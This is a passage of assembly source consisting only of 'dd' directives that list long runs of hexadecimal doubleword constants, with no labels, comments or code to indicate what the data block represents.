0D703074Ah, 130F40B1h, 45A7E544h, 9437A483h dd 0EEC2960Fh, 0E46BE3AFh, 22A80BE0h, 8C8C9759h, 8CB4C07Ah dd 9801B104h, 0D962866Fh, 1797620h, 0A9AA00C4h, 0E94FF8C7h dd 0C525591Bh, 110417A0h, 85B8774h, 0F6CE3E0h, 0A8B2491Fh dd 4223370Ch, 3C12A4C8h, 74021205h, 58B4F0Fh, 22883250h dd 367AD090h, 0CC2DDF00h, 0A4E5250Ch, 0D7185831h, 0C2166000h dd 0E2E1064Dh, 4810441Ch, 84BDA589h, 0DA42D6F8h, 84C98C0h dd 36F59F26h, 8627412h, 0BE2469h, 0AF2F87CFh, 0A904097Ah dd 2490227Bh, 0F00864Dh, 0CBD0A166h, 0D26710h, 244F8915h dd 28B7FB5Dh, 0EA12E702h, 0CCAB17ADh, 3CA90BECh, 1002080Dh dd 0DC00A18Bh, 1262BDF6h, 30B6FBFDh, 0BF4DDED8h, 4C0258BBh dd 68611B5Bh, 124D3390h, 216552F3h, 8D2B34h, 54FA6D67h dd 0D753C3Dh, 89EFF6C2h, 84E23A20h, 0DFA27453h, 1FF9B430h dd 2E6E4EA9h, 600E1314h, 81480B34h, 0E8ACDC7Fh, 0EF06C009h dd 237010EBh, 32A8A877h, 0FD7F7Bh, 16424BDDh, 872772A7h dd 0F166A107h, 6BC2DA7Fh, 52C7037h, 67B5E212h, 0ABAC608Eh dd 972AE6C2h, 0F3109487h, 0A1006A32h, 0BC446BDBh, 4B333FFAh dd 0CCCF3096h, 93265890h, 1F6C2890h, 0BF34B192h, 8CDBF609h dd 3C7D4C14h, 3E44C740h, 99178C3Bh, 0E381665h, 8313FECh dd 28D4A6C7h, 2994640h, 0FBACF562h, 106D317Ch, 9F599BDh dd 0A5A2A68Dh, 0EF85EC30h, 0CD56BE13h, 9ED6A848h, 0BF1BC0C3h dd 0EFDE47F9h, 6BA8AB00h, 687A9E57h, 80D806B9h, 31CE5B19h dd 90A7D207h, 0D40F678h, 276312h, 4A68A5B0h, 0CF39521Eh dd 0DD9050E5h, 8800EC2Dh, 6F12BC45h, 32EF6Bh, 86CD0856h dd 0AFFF6096h, 22D48E59h, 0A88400E4h, 5C2AA0BEh, 0EE00B020h dd 54B5B174h, 0F61981A7h, 49B899ABh, 0D8115817h, 0F9A90D8Eh dd 480A0846h, 0C8503B13h, 0A6110426h, 2B7DAC90h, 11BC84FBh dd 901D7B67h, 0F8406FF5h, 0D16D79CCh, 6AE0CCFh, 5E79E7E8h dd 3E728A1Ch, 0BF85E6C0h, 83CD59h, 0D815C135h, 42BEE1A6h dd 9B4871C0h, 0B21F0E8Dh, 4AE49068h, 6FA4122Fh, 7E9C02D0h dd 77077B56h, 88003464h, 87D9E1C3h, 0B4E75D0h, 0F676B9E5h dd 6095F084h, 239D05A9h, 7611A7C2h, 5B18800h, 607BAAC3h dd 8BAE37Ch, 12403038h, 0A8CDCBF6h, 6439E861h, 0B5FFB06h dd 8F5C184Ah, 2CA52EA0h, 2F83650h, 3D27C1EEh, 4448C6FDh dd 0F25AF3CDh, 9C5D0816h, 134100A0h, 953FC476h, 0CA246652h dd 6011BCB6h, 1081FB39h, 0C7634C40h, 20D0E1BEh, 70041A83h dd 0A68C5C0Ch, 0D19738C1h, 0A3B76B00h, 0D519C309h, 6DC8075Eh dd 258F080Ch, 20819ABEh, 0C6735745h, 54011872h, 0FEC33C6Fh dd 4E018D17h, 4468E25Bh, 0C117459Fh, 404236F8h, 5A4A7579h dd 0BE850800h, 0AA01D92Ah, 958758C1h, 0A5772883h, 903FF64Dh dd 0C04B1302h, 0DB211CDFh, 0BC7CFA8Ah, 63209820h, 5350098Ch dd 0FCED1912h, 20437591h, 601BE584h, 409FEEC0h, 621CFCD6h dd 1344050Ah, 98EFB506h, 3E0AA4F0h, 0ACE17D66h, 20E2C70Bh dd 0F768A3BCh, 553B0154h, 193C0337h, 0FC4CEA4Ch, 0FD0FF8F9h dd 30392825h, 92320CDCh, 0C8C42218h, 10A0925Ch, 0A501AB1Eh dd 9EEF6F90h, 93822A9h, 24664F68h, 0B260B3B0h, 6F259B01h dd 5C167Eh, 0B0017A77h, 5B62D59Eh, 0A62258C4h, 67107014h dd 4A290942h, 0A4F021F0h, 4180EFEBh, 0C6BD24F2h, 7500873Bh dd 9AD996DEh, 50A35B4Bh, 0EAAAFC40h, 3FCF2498h, 72C680B8h dd 0CDEB58A6h, 0F069F40Eh, 9788CEC2h, 1763F001h, 6C20FFFEh dd 53CB0AB2h, 3BB86C07h, 0F213C380h, 9891AA51h, 0E43BD4A0h dd 9820ACB1h, 60EBD244h, 9BACA1E0h, 3C00B11Ah, 0A93D5192h dd 5C4B5346h, 7630BAh, 0F87D6BB3h, 0C63FD26Ah, 8C64E172h dd 0A4CBDAE9h, 80CF6BC8h, 203EDA14h, 2054B8A4h, 43E6202h dd 70B033FFh, 43A901C4h, 79EF4511h, 0A35C20D6h, 0AB88C884h dd 11E4176Bh, 0B7CB816Eh, 90EB4811h, 90E4C341h, 4BDC10B8h dd 0FF3C0D66h, 0D80189A9h, 0A8B15FEBh, 8813F88h, 596F6FC5h dd 51803AE0h, 0E34B473Ch, 0C041D818h, 0F0E17D5h, 4CE040ACh dd 0F706C31Dh, 2AD08941h, 5D757245h, 8F09403Bh, 0C46286C6h dd 486AD8C9h, 0D099CE28h, 0E0FDDF03h, 8A4A031h, 834500B8h dd 6D535BFCh, 55FE021Ch, 62EB8E03h, 4804BE7h, 0F369C70h dd 1490D7D4h, 51DC86D1h, 11124090h, 5098888Fh, 0D45A304Dh dd 7505C881h, 43B5B00Fh, 84BDBE9Fh, 8AE91C38h, 4E372280h dd 0E4A809C4h, 0F90EA0CAh, 70FD0827h, 0F5E2C8Bh, 80856600h dd 388DBFAEh, 0CF36E8AFh, 0FC04721h, 41639446h, 0C710300Eh dd 363320A9h, 3A778B75h, 0C00D015h, 0CB66AAFDh, 706555Dh dd 7F4DF928h, 21E16008h, 0AFCB6E93h, 0E46D971Fh, 0FC18607Bh dd 7C3B469Bh, 0E1E6A2h, 0BCF42D1Dh, 0DE3827A7h, 3D837A00h dd 446A3464h, 0D4220004h, 51B07274h, 10C053B7h, 0D5A3898Ch dd 0FE0700B2h, 0CBE60C1Ah, 5B58A76Eh, 808C30AFh, 0A43D8B74h dd 11CBF258h, 88775563h, 7C8D80E7h, 0F7E8E5CBh, 2EB7D51Ch dd 69B053C7h, 3B7835C6h, 55801442h, 0E7577238h, 0EC290FBEh dd 0E6798C74h, 2C00D918h, 11C0D610h, 7A5239h, 243E4059h dd 0C825BEE8h, 0BCB92128h, 54A39B38h, 0C0009CD0h, 2375D55Ch dd 5557DF4h, 80B6AA4Ah, 1AB04736h, 40343562h, 137C669Ch dd 0AF071684h, 1F15A951h, 0A7EB0CC0h, 56280CFFh, 0AD99DB14h dd 5E0AAE00h, 78D1521Ah, 0B380B1Ch, 0AC805950h, 1A39A7Ah dd 0A5C089DDh, 56A0D154h, 32406B2h, 70778630h, 384D1B00h dd 7A28B55Eh, 8194A049h, 95B8B7h, 0CEDC362Eh, 43DB6CBDh dd 3A510A60h, 6025797h, 1861FE72h, 0B628C037h, 0B4086C8Ch dd 1EB859h, 6B30C80Ah, 0FD0C626Ch, 480D0B72h, 930C3721h dd 58958608h, 0ACA17DF0h, 0BEEAE41Ah, 0F0603C62h, 8A440022h dd 0A6020637h, 0C051F707h, 647E0030h, 0DC03A8B6h, 6841FDC7h dd 3818042Ah, 89C8308Ah dd 4C68BA3Ch, 86AC447Dh, 1C7CBD00h, 89B025E4h, 0CAE0A063h dd 0B65740FBh, 99688B36h, 0F98CA1A8h, 0A91D118Fh, 7EB46EA0h dd 7C32085Fh, 0A022088Eh, 0CAA07780h, 0AF3B0F2Ah, 4100D094h dd 75C00BE2h, 0CC68AE60h, 0C20409CDh, 0D678FFE8h, 3EDBECA1h dd 83B45007h, 5E61B1A7h, 54522D31h, 0DC00D044h, 13F6ED03h dd 3EA092C2h, 0A8F44270h, 60FAA370h, 4C0848FCh, 6200062Dh dd 9B94430Fh, 0E08D8AA0h, 0B5F006F9h, 81D714B1h, 0C8134900h dd 477335BDh, 0DA0B0FACh, 0C83CB5D0h, 750C4D6Dh, 0AF87064h dd 254861FDh, 18B020B8h, 48BFF26Ch, 7501ABCAh, 4144A5BAh dd 49EDCF19h, 21AD0898h, 0BA073D4Ch, 0B1F33501h, 20D03CE4h dd 50178242h, 1497DCB6h, 0C0516644h, 83C20B09h, 0B01DE000h dd 7499AB29h, 91C00302h, 34088A55h, 465CA424h, 1EF70033h dd 0B980A801h, 0A4273FFEh, 0CCA0D4h, 86F2829Bh, 7B9D0805h dd 0B11F59EEh, 9281621Bh, 0C8B5FD63h, 90010D31h, 4242BE4h dd 0C7E20164h, 3F530ED2h, 54E3C850h, 6D19110Eh, 0B62340B8h dd 0CC489638h, 0A4E87238h, 5A000091h, 3C0447F0h, 768C904Bh dd 0AA258106h, 9B5358F0h, 0A007FF4h, 0B222C2D7h, 890B15h dd 8FA51285h, 0A6677DBBh, 8069B309h, 0F38A059h, 0C16121A7h dd 52385848h, 4A88B04Eh, 3089BBCCh, 0B2C8CDC5h, 1F489449h dd 3EA780ACh, 2A2E07A8h, 48E8B54Bh, 6D10586Bh, 3EDC0DB3h dd 40EAC90Dh, 50841DC0h, 246CE0EBh, 8038D115h, 0DF4D90F2h dd 661652B6h, 0E00F6C5h, 8F8BF47Ch, 6CDE02F7h, 0B035A825h dd 189AF0B1h, 730F0465h, 32AF3885h, 6D4C2030h, 0ED1F820Fh dd 0C89D3602h, 84336C00h, 0C15825A7h, 0BA285658h, 81E8311Bh dd 0D1774560h, 6C207882h, 205912B2h, 0B4742027h, 7C924441h dd 93D24209h, 0E05808E2h, 0E090C428h, 3092C445h, 738C606Ah dd 4423A7BAh, 0B41171h, 0F3BA3B4Ah, 0FE9975BCh, 13EFC7Ah dd 6D2F9BA6h, 259230B5h, 75E018C4h, 0E179A0B1h, 0EB151118h dd 29405A1h, 999B33D9h, 0A4724056h, 8CE8C474h, 19660924h dd 8C33D10Ch, 0A61F7C23h, 96B47544h, 3C212062h, 4FCCA9Dh dd 75E295h, 6C29C5EBh, 0FDD059C7h, 18700948h, 0B2312FE5h dd 0C72EC183h, 60FB6C2Eh, 825198BAh, 0D78FD8C8h, 8DBEE900h dd 0B5FA5CE5h, 0C671021Fh, 0FCCBBF56h, 989CE484h, 0F046314h dd 0AE688571h, 4A203132h, 0EE0F6Bh, 0D23AF1D0h, 0D4D6938Ah dd 0A4664914h, 0B9704E4h, 7CC1A9A3h, 880F3868h, 0B512C0B0h dd 0F94DBF83h, 0C85804F0h, 8501529Dh, 6094D1B7h, 0FC1E4EC0h dd 0A51878C7h, 163055D0h, 44E81C4Ah, 149509D4h, 762300h dd 555ECB65h, 4486290Fh, 6D0090E4h, 0F6A53FCBh, 15F2CFD9h dd 0BC35E56Ch, 56DBA400h, 83929305h, 1932E430h, 0E41793Fh dd 9BD50295h, 810D4F04h, 1E14780h, 0FE09A63h, 0B6CE0A92h dd 0DD4F4CFh, 72B019FAh, 0EE46002Ch, 264A3697h, 0EA8000B1h dd 52C8E731h, 4040598h, 1C83AD18h, 2E0C3CC1h, 203C7401h dd 798C7938h, 0B47211A5h, 8026889Eh, 4FCA9C3Bh, 287B596Eh dd 5C75A814h, 0C4F615B8h, 720300C8h, 0A6BCF76h, 40A658FBh dd 61D49F10h, 9218D070h, 3081C2D0h, 0CD19BE9Bh, 48B9D686h dd 9A81882Ch, 0C62DCB87h, 31E5E450h, 2E88C3E8h, 713EA855h dd 0A12C306Bh, 7F9729BEh, 3B7293h, 3E1FD0B1h, 19B71604h dd 5A33E305h, 80001D88h, 57BC836Ch, 32B128C8h, 0BF8B3FA8h dd 0CBD0B230h, 0E1B80610h, 302FF037h, 9B2398F1h, 423816EBh dd 62C56F9h, 0C8B45BA4h, 0D369B00Bh, 0F888A0A3h, 180AA261h dd 20ABE7D1h, 0AE147EFDh, 0F1206A3Ch, 1D18A4DEh, 53BB8E00h dd 3A0DCFEEh, 0B25204D1h, 38A40Ah, 44F3B98Bh, 0E0790024h dd 481D5B2Fh, 7E002339h, 0F61BD482h, 1A0407C6h, 68AE3789h dd 44647062h, 238025F8h, 0EF1501D5h, 39C70FF6h, 5A84408Bh dd 424A0140h, 455F84Fh, 988822E6h, 9B92406Dh, 1E2864B0h dd 72F6E009h, 4A06A4BAh, 0E513B686h, 0B320078h, 51F60310h dd 13831C04h, 523CA29h, 78CBD1A7h, 5178BA40h, 8A983888h dd 0AC5F2083h, 61FE6806h, 2600108h, 0D788CCC2h, 24C0F542h dd 7B80116Ch, 0A8E9480Fh, 944C6E38h, 0C27A6600h, 143299C4h dd 60B262F8h, 1026BC99h, 30E0351Eh, 0A1986B2h, 80033714h dd 85B7C7C1h, 0CE202664h, 0F04A810Ch, 0DD59B41Bh, 0B908239h dd 81058CD2h, 3FDBFD94h, 0D064039h, 404F39B0h, 32C85009h dd 78C88AFFh, 0CBAA23Dh, 0DD9B8244h, 4D5914E8h, 64A00274h dd 68E757D9h, 6CC84F1Ch, 5240C161h, 42B12A62h, 28848EC5h dd 0D2440415h, 6DD0908Bh, 3A6236DBh, 4833E491h, 15355ACh dd 4CED9BDh, 76397B6Dh, 0E0752448h, 0E3B95C03h, 2C4850AFh dd 0E81C4C44h, 0D2705D80h, 7D90CDA7h, 29C49BEAh, 64B16E05h dd 204578BCh, 0E59DE4h, 76BB0C71h, 202490FFh, 0A498E03Fh dd 6422A84Bh, 14A8A258h, 0F6BCA0D9h, 2B16AEh, 0E1E7A119h dd 7CCBBEEh, 620156F2h, 0E00C70FEh, 1C215490h, 48C72004h dd 8004A1E4h, 0F00C031Fh, 1E08D07Bh, 14D0997h, 1C029604h dd 14000F9Ah, 6C6DB6Ch, 0C69B3C2h, 0B0C43828h, 2E06DCA3h dd 0CA7A995Ah, 10E90360h, 1DEF2904h, 2F42552h, 6C0187FCh dd 95CB58C0h, 0CE800382h, 8A60878Fh, 80A5F97Ah, 3740C861h dd 6530C47Bh, 0F84B45Ah, 2CAC99D0h, 64C7D89Dh, 708574E1h dd 4DB0DC28h, 62000F6Ch, 2F4E7DD3h, 12AF432Eh, 32FDF742h dd 386162A8h, 51C450B2h, 0F8239D0h, 484903E5h, 90100A02h dd 128C636Ah, 9B38040Fh, 0E46B04DEh, 7FD8C8h, 673ED96Fh dd 6AC0044Bh, 299CC300h, 0ED93E852h, 284A1033h, 8373090Ah dd 103F0AEEh, 38AD050Bh, 293B73Ch, 3961A1BBh, 0EC8F1EE1h dd 0AC589895h, 588C21E8h, 0FB073E07h, 676974D9h, 840C89A4h dd 0D1396471h, 0A0384C8Fh, 52EBBA42h, 0DF7790D6h, 84BC14F9h dd 40E1F610h, 450964ECh, 0E56D37F5h, 67E5E4A4h, 0CA8109D0h dd 0A44F1349h, 65EC40FEh, 190490A3h, 0AD3E8D07h, 0EF70D0DEh dd 0AC18B23Ah, 0C0147E8Ch, 21E23F51h, 5D00CC61h, 0BA3E1676h dd 1E71EB40h, 64806ADAh, 0D97F0C68h, 0DC2459D9h, 3146C00Ch dd 49541251h, 0DCFC406Ch, 0C951B04Bh, 9A7BF1C0h, 0ACEDBB4h dd 8641FDC3h, 841D808Ch, 922DCC01h, 4582F4Ch, 0AA59A783h dd 0E14024B0h, 2C8C6824h, 1834B4BAh, 0D75D71DFh, 8541C825h dd 0E28066B4h, 60146D7Ch, 0C6AFD9DAh, 6C009E39h, 3B74F75Ch dd 244BF3F4h, 11907B18h, 0F5F80A0h, 94888565h, 67465868h dd 1D3A0F0Eh, 83B8C3BCh, 0ECDAC0C2h, 38490CB1h, 8ED021FBh dd 12B50D39h, 0E421C710h, 0A0588C07h, 2C542041h, 6106A430h dd 7DB7BC1h, 51B3A25Eh, 1D200C90h, 70E1D619h, 8E15ABF8h dd 0C72288DCh, 0A4D73009h, 10016856h, 59B23C6Ch, 8281B98h dd 0A8C77AC8h, 0A6B47391h, 3A882318h, 0E6CA00A0h, 0ECAEAB75h dd 309350E3h, 0C2EC0815h, 11B831AFh, 0C5FF100Ch, 68A55C04h dd 0C1978880h, 0F700E914h, 1FBF5CD4h, 0F1841BDh, 8AC3A16Dh dd 78187CC9h, 500B860h, 72F6337Eh, 7A19B422h, 62A7262Bh dd 13AD11D4h, 0FC01F283h, 7BD953DBh, 36BC7C38h, 0CE02058Ch dd 8840DB62h, 0A8132358h, 0C029A785h, 0BAC5C7E8h, 73460408h dd 99AC9737h, 0A24C23A4h, 0A27B3028h, 1A2884B8h, 6601AC34h dd 829B6CC3h, 3824D3B7h dd 64EA1342h, 5938D0F9h, 2884358Ch, 0D0F8A5h, 0C29050C4h dd 1B6B9B1Dh, 6171B010h, 0CB70DC2Ah, 0C861A5DCh, 0A140886Eh dd 0CD5834FBh, 89F00144h, 0A44B0058h, 208C986Fh, 5CB00A0Ch dd 7AD56320h, 89B625B8h, 497D4420h, 898161Bh, 0B73EFFF0h dd 64485EC1h, 0CB71C03Ah, 6F465562h, 8C00E322h, 45C6CB79h dd 0B6143146h, 61958F04h, 323C22E0h, 79157AF8h, 4ACE9A4h dd 0A76F28Ch, 0BACE8C2h, 0FE404803h, 1550A150h, 92220C2h dd 493F23A6h, 821909A4h, 3DE4FECh, 584FD5A4h, 30239C3Ah dd 6F8E780Fh, 801F2020h, 34FF0283h, 81C9CFB2h, 4013F7A0h dd 1238B578h, 88444D4Ah, 0DC0295ABh, 0A8E6060Ah, 9B8150F6h dd 0A8BCA03Ch, 0B4170B8Ch, 1380F108h, 45E7668Ah, 9920D498h dd 935806B8h, 8163B77Eh, 1D1C715Ch, 0BF00706Ch, 2B184979h dd 78F0A822h, 0C85588BEh, 2896897Eh, 13964988h, 0D6F090F6h dd 21004B56h, 0FFE0F2D5h, 2A63ACh, 0D00D3C79h, 4603CE91h dd 1AA43A18h, 302E77F1h, 7B418951h, 4985E6Fh, 8412A75Eh dd 3623FC3Ah, 71061405h, 6CC468C0h, 0D2423E9Dh, 5E2F1849h dd 0C8C1B41Ah, 9B01E6A5h, 0E47984B6h, 4CEC7C01h, 30D85398h dd 0E0418F04h, 3D4008C8h, 4B742CC9h, 0D170129Ah, 235D50h dd 9044168Ch, 0E7EB1044h, 0C48101B2h, 0A621BF8Bh, 0FCB708Eh dd 8FF56D6Bh, 0BE1FC56Eh, 6E40B441h, 1E06E753h, 5831E226h dd 6573EF00h, 60F9C84Fh, 890C681Dh, 3B297BE3h, 33C220C5h dd 38DB30E3h, 0A885B8AAh, 0BA9002F7h, 870EBE97h, 0C1297D45h dd 6017055Ch, 6DFE953Ah, 98F4F104h, 6088BF8Ah, 6A19127Ch dd 0AEB4045Ch, 12D200FCh, 0B834754Fh, 0DF2E222Ch, 141E1CA1h dd 200744B0h, 0CB0CA5FCh, 0D827622Dh, 4EB8588Bh, 0A0378915h dd 76733901h, 38609A34h, 0B8CDD720h, 0EBB1BDF0h, 93EF2C58h dd 629B13B8h, 0C05B6DACh, 20D2890Ch, 12FB40BFh, 0D610D164h dd 0D4E56D4Bh, 0A04A02Fh, 26752CC8h, 0C084798Bh, 555FCB68h dd 14291725h, 70910E10h, 0A223BBCBh, 41C107D7h, 0CD61F1E4h dd 3F0C7D23h, 18B44063h, 1808D069h, 0B8A80F60h, 64F9B825h dd 931D5008h, 55152E06h, 4DC58F4h, 964013E5h, 94B20C84h dd 0C5C00504h, 3CE0E45Fh, 0B7C88B2h, 0F680AAFCh, 0D324A04Ah dd 90B0623Ah, 7A04BF9Bh, 0AD2218CAh, 67C66A01h, 6DB71492h dd 6805D442h, 37D1AABCh, 0F640B937h, 0DB3731E0h, 66876944h dd 0BC0A17E5h, 979FD45Ch, 0B46E49C1h, 28243A51h, 5832FD42h dd 1CD1B78Fh, 2FD6D0B5h, 85E41890h, 88B6802Eh, 0B685559h dd 2BBC4114h, 60244D60h, 6CD3DBF0h, 0CFE29C02h, 3CEA0E5h dd 36924154h, 92CDE0A0h, 20BB70CAh, 7144AA1Eh, 256276B4h dd 0CAA17820h, 3C3A0C62h, 0FCE8AB15h, 0EA993344h, 90049B50h dd 0D3DC50E5h, 6812F85Bh, 616D7004h, 0D5285A00h, 0BE39E9D1h dd 73A7930Fh, 82384828h, 0A823201Eh, 0AEFF0AD4h, 38574398h dd 904025BBh, 608ACFC4h, 9B10F2Ch, 0D7DA440Ah, 0FA956427h dd 74FC09D8h, 6558D873h, 83871836h, 0D8D40E8h, 5429F909h dd 2C00B1Dh, 60D970h, 264E3856h, 0A70F98C1h, 1984B041h dd 81FA11D0h, 28BC8988h, 0A80BC114h, 29BE5D29h, 0AA8C3824h dd 58CC984Ch, 0E8465893h, 748BA33Ch, 0C8658EB4h, 0CA9A3D83h dd 72309923h, 0F2D1A092h, 0B4760058h, 21FE6041h, 5714AD4h dd 187B678h, 0FEC7D30h, 0A4789276h, 2C7CA4h, 0A47CDD3h dd 1A286D77h, 75B9E13Bh, 0A410D93Ah, 0B0373C9Dh, 7424B0FBh dd 0A9A248BAh, 0AE882459h, 0BA3C4B80h, 218882h, 99EE4DDDh dd 8C6E68F4h, 0B01F0E26h, 0B1F290CDh, 6FE46C84h, 2C864AB4h dd 94A0768Ch, 0DC771A0Dh, 66AC2397h, 0F091D37Ch, 620B6Ch dd 217BBEF7h, 0B849FC0Eh, 501E2D5Ah, 0A8B725h, 0E5B94FAAh dd 36023917h, 74EE835Fh, 19F4828Ch, 867300ADh, 0D61CF3CBh dd 8FB94985h, 0FFBF49Eh, 80060FABh, 4D79CD80h, 0E7E10775h dd 608CBBDFh, 7D42B2A9h, 0EF008A71h, 0CDAD01FBh, 0FA27D6C2h dd 0CB6700A0h, 0D1820F07h, 131C323h, 0BB9921A1h, 7680089Bh dd 0CFD432E0h, 0AA743F0Bh, 200D0F9Ch, 68B159CCh, 765D0075h dd 0ABDFE59Fh, 0A673B998h, 8A41FA60h, 541D12Fh, 641AED33h dd 0B81D803Fh, 0CDE2173Ch, 201CD9F8h, 8802742h, 0A6285461h dd 32CE0C16h, 0A091B4FEh, 0AE803500h, 0DADF0A39h, 0A409CC01h dd 0FD004021h, 977B5F7Fh, 59B04EBh, 6D5519C8h, 0C881FBBh dd 4119BF77h, 1E2A011Fh, 8E35CC00h, 0C0A25DF3h, 297B3749h dd 28C3A7CAh, 0D8778F27h, 0C0FF99ECh, 0D5F993D1h, 791B55BBh dd 22F9A75Dh, 0F908E778h, 43ED696Dh, 5002E3CDh, 0A56FD658h dd 0E2D8A3BFh, 7A34B0B3h, 0C9540CB2h, 0ED089A41h, 0ABFF21C0h dd 0A8DEBFh, 8EA60176h, 0C650BCE8h, 7E5C7950h, 58801484h dd 0BA00C0E6h, 0E122BD5Bh, 0CD73B3F3h, 146D5A28h, 55798406h dd 4A0E6FDh, 44E4B2Dh, 0E9233B9Bh, 0EE15A000h, 79247150h dd 7669CF01h, 0B8FDBBA0h, 0AF00C840h, 602A573Dh, 0C0EFA715h dd 0F2505C41h, 1704F3A3h, 0A07D3F89h, 1DD95490h, 0C0E46577h dd 19C6FFDh, 2D63D285h, 4886F4EBh, 61EF8CD0h, 0F84318C4h dd 4EE76C44h, 0DB372780h, 4C2481Ch, 248C5AB6h, 16F2B861h dd 320C7459h, 9C21F2h, 0C7D28C62h, 73A78A0h, 2D883C01h dd 0E0335D9h, 834E609Fh, 265D5F60h, 7D89C093h, 983014E8h dd 12AFBC18h, 1DA97C05h, 4017408Fh, 7D46FA3Bh, 0E1A1F360h dd 0C6E03EC5h, 0B0B14458h, 4D782D05h, 0E801BF29h, 0C2D97B39h dd 0C2213820h, 288BC020h, 0A881504Ch, 8E401963h, 0AC927A30h dd 3BE544A8h, 46BFAF00h, 8452B93Ah, 30E300C0h, 22D7DDE2h dd 0F526D4C9h, 0FC2820B3h, 2AED10F1h, 4668031Bh, 4EB4BAFEh dd 21F30930h, 11B330Dh, 0E10CDB0Bh, 48E2EAF0h, 6088D890h dd 0F3DCA1ECh, 9F25C110h, 0D131642h, 0E78403ADh, 5940C82Ch dd 44686598h, 0B7112818h, 0AC3A8840h, 8C5D04F0h, 620C6125h dd 659D20EFh, 5C14BB8Ch, 1B9CB447h, 0D869BF99h, 60C83Fh dd 50408A34h, 53D92BEFh, 565B1118h, 1935941h, 69E0038Ch dd 3076C023h, 0BA400D30h, 29DD60D9h, 9460D3BBh, 44612203h dd 61544585h, 79FEB0C0h, 0E819E46Dh, 0B45BDF28h, 3B35610Ah dd 251E840Fh, 0DA8D9030h, 8C51C9E2h, 5020130Eh, 73BC8124h dd 7CC6E0E5h, 2DA90105h, 0AC086961h, 1411816Bh, 30362B97h dd 0C040AD58h, 6E595C5Ch, 885B3700h, 0FB5DF2CDh, 8980CA50h dd 0D9747CF0h, 0FFE740C2h, 0C68CA0C7h, 0D2B49185h, 0CE4404C0h dd 0C11084C9h, 0A40D5A60h, 2C11F041h, 71802F87h, 0CDE5A39h dd 3072899Ch, 8B798271h, 68EF800h, 603F1835h, 7CA54C4Dh dd 422C4B26h, 84A0E4D9h, 0EA8DBC74h, 4CC0651Dh, 60C40039h dd 2ED127EDh, 2B090179h, 67BA074Bh, 71F042CDh, 0B1768C4Ch dd 0A27A3611h, 0A6A0E788h, 0D20BF0Eh, 0BE2BE008h, 14CF224Eh dd 80AB097Dh, 32BD6304h, 44589519h, 8CDAFED8h, 8C046940h dd 0E96C6129h, 9920F032h, 2648C71h, 7669CFBFh, 0E8C3BD4Ah dd 0C3349AC8h, 0BCFEE729h, 8ADB4E01h, 0D7D49CA2h, 0AF440FF1h dd 0A880C063h, 0F177A70h, 0E77EC8A0h, 4D020CB2h, 0AD92FFE1h dd 0C2F880B7h, 61FDA98Ah, 0AA95382Fh, 5D2C74DFh, 0E36120h dd 438A732Dh, 2BC3C89Dh, 40356700h, 1B1FD5BDh, 674E007h dd 0B8535017h, 89E010D8h dd 2A618518h, 1F9D8D20h, 801DA8A7h, 585BD3FFh, 0F800BF0Fh dd 5ACA8B52h, 778EBA66h, 6AC03878h, 3E8530Dh, 5B20C048h dd 894EC372h, 14A633BAh, 53432105h, 88FF91C3h, 7C014A1Bh dd 2F93EC64h, 37D8654Dh, 3F683843h, 0E9180F38h, 0A2442B13h dd 0BA0154E0h, 83E112D6h, 0B96089CBh, 0EFED066Ah, 92643D8Dh dd 0C782B906h, 0E503Fh, 0E08ABF66h, 15B595FFh, 8181E6DEh dd 85DBCBDAh, 30BDC030h, 311A29E9h, 96AAC595h, 0EE178C02h dd 514A868Ch, 593975A4h, 4C8911C3h, 41801888h, 5BC7C351h dd 0DDD0626h, 0D201FF68h, 73F68001h, 226DBD83h, 84C3CA57h dd 33B052Dh, 462E8995h, 837485C7h, 69BD330Ch, 65E91821h dd 36602F1Fh, 8F0044A6h, 4C8AF9A0h, 3AE0AEBBh, 98C66D6h dd 4A4E614Dh, 3AB70F88h, 861850F9h, 9D294106h, 0FFFD7162h dd 0F31732B5h, 42811711h, 422A78DAh, 0A39F0FBCh, 36801D91h dd 5B468CEEh, 9EB45705h, 0CE0862C1h, 18F7BD1Bh, 0BA17619Dh dd 5FCC75Fh, 8CAE0C55h, 0B09E903h, 54A31C61h, 41EB02DFh dd 0C68DD214h, 0E2C6084Dh, 0B0910141h, 0C35D8755h, 316C8922h dd 55451019h, 0FF3E00C3h, 0CEB1DFEh, 0B91413BAh, 10BF3298h dd 0E818F0F9h, 9AA330Dh, 22369F00h, 6A323DFBh, 64551203h dd 0E9520127h, 205FC3E3h, 22EF0165h, 0E53900A4h, 0FC842759h dd 0C6C21249h, 2BD10FD0h, 0F62EA600h, 850B919h, 0BEA71BE3h dd 0DA6214E4h, 57073142h, 0CCE811B9h, 5C28C423h, 0B41ECF04h dd 4F8349F7h, 610ABCFDh, 181311FAh, 813F0EE9h, 0BAB40FA3h dd 99615736h, 0D0B05934h, 55ACAC1Dh, 5A1C5246h, 548988C3h dd 42401CC4h, 9E83C352h, 6ADED600h, 0B0D89347h, 0CB8B3066h dd 1B0BF58Ch, 1A6482A7h, 0FC8FD161h, 0C72406F9h, 0F8129DADh dd 0D8C9E861h, 82B220Bh, 30518509h, 91810F50h, 953304BDh dd 0BD294191h, 0F42428D1h, 2B57882Dh, 2C559519h, 0E6275A18h dd 4A418C24h, 0B1A06E12h, 3AD8ED5Dh, 0A235A400h, 911C3207h dd 389AFCA6h, 2A92F8C6h, 81F66450h, 26EC26EFh, 8B5004DBh dd 0BA945FF9h, 15C80A8Fh, 296F9CC0h, 1BE9348Dh, 23FB60C8h dd 0CA37595h, 25290BB2h, 0AB04C1D6h, 294A0689h, 230D1599h dd 5AF85282h, 0E1E9FAB1h, 83D4E7F6h, 2E14D008h, 2363F964h dd 0C3580B50h, 89F0A7Fh, 504070h, 0BC68A2C3h, 1D3D3CEAh dd 83716CC8h, 0D89848BFh, 35858BC0h, 9F162768h, 5CFE907h dd 2E69300Bh, 1FF0013Eh, 5B631D06h, 62E6CC92h, 51707200h dd 300FD409h, 19B51A8Dh, 4847B0F1h, 94611544h, 7E1820B0h dd 60E9A540h, 0F39C2108h, 9B481260h, 24F83968h, 220C01D0h dd 160B6CCEh, 46254595h, 0D71B587h, 145DF4C4h, 0D7008814h dd 16BFF38Bh, 49E1124Eh, 0CE208337h, 86DD958Bh, 57D0003Fh dd 0C0878EB9h, 12995960h, 3B910B80h, 1C1A4Ch, 78534EF9h dd 2357A08Dh, 94B192CFh, 0AC88CA3Fh, 62BA02B8h, 0E21E1124h dd 0D1C9824Eh, 975231Bh, 1984DCCDh, 0B82C1783h, 0F5863DD9h dd 0B98318ABh, 2FD9E4A6h, 0B0B17F50h, 64E787E3h, 0AF46016h dd 0B9660DAAh, 8BBE2231h, 0A50B080Ch, 29215678h, 